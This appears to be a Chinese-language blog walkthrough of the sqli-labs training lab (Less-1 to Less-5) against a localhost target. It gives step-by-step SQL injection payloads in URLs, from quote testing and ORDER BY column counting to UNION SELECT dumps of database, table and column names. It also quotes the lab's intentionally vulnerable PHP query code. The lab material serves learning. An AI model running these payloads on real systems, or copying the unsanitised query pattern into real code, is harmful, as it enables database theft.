OutBxx

先上图 大佬总结

PAGE-1(Basic Challenges)

一、GET 篇

1.2 最基本方法

  1. 判断注入类型 http://127.0.0.1/sqli-labs/Less-1/?id=1正确返回 http://127.0.0.1/sqli-labs/Less-1/?id=1\'出现报错显示 http://127.0.0.1/sqli-labs/Less-1/?id=1\' and 1=1--+ 判断字符型和数字型注入的方法 这道题感觉好像字符型可以,一般情况下,多是字符型注入

  2. 猜测字段数

http://127.0.0.1/sqli-labs/Less-1/?id=1\'order by 1--+
http://127.0.0.1/sqli-labs/Less-1/?id=1\'order by 2--+
http://127.0.0.1/sqli-labs/Less-1/?id=1\'order by 3--+
http://127.0.0.1/sqli-labs/Less-1/?id=1\'order by 4--+

字段数为 4 的时候,出现报错Unknown column \'4\' in \'order clause\' 所以字段数为 3 3. 确定显示的字段顺序 因为 sql 语句的执行结果只有第一行会被回显在页面上,所以记住要把前面的值定为空,就会没有显示,这样union的语句的结果才能显示出来 http://127.0.0.1/sqli-labs/Less-1/?id=\' union select 1,2,3 --+ 如图 1.1 所示 可以看到,2,3,回显成功,所以可以在此处注入 4. 获取当前数据库 http://127.0.0.1/sqli-labs/Less-1/?id=\' union select 1,database(),version()--+获取当前数据库和数据库版本 通过内嵌 sql 查询语句得到所有数据库:http://127.0.0.1/sqli-labs/Less-1/?id=\' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+ 如图 1.2 所示 5. 获取数据库表名 http://127.0.0.1/sqli-labs/Less-1/?id=\' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=\'security\') --+ 6. 获取表中的字段名 http://127.0.0.1/sqli-labs/Less-1/?id=\' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=\'users\') --+

3-4.

  • 不同于 1 和 2 的\',这是分别采用是\')")闭合。。。

$sql="SELECT * FROM users WHERE id=(\'$id\') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
  echo \'Your Login name:\'. $row[\'username\'];
  echo \'Your Password:\' .$row[\'password\'];
}else{
  print_r(mysql_error());
}

5.双注入,基于单引号的字符型注入(报错注入,布尔注入,时间延迟注入)

看到图,还是有点懵

分类:

技术点:

相关文章: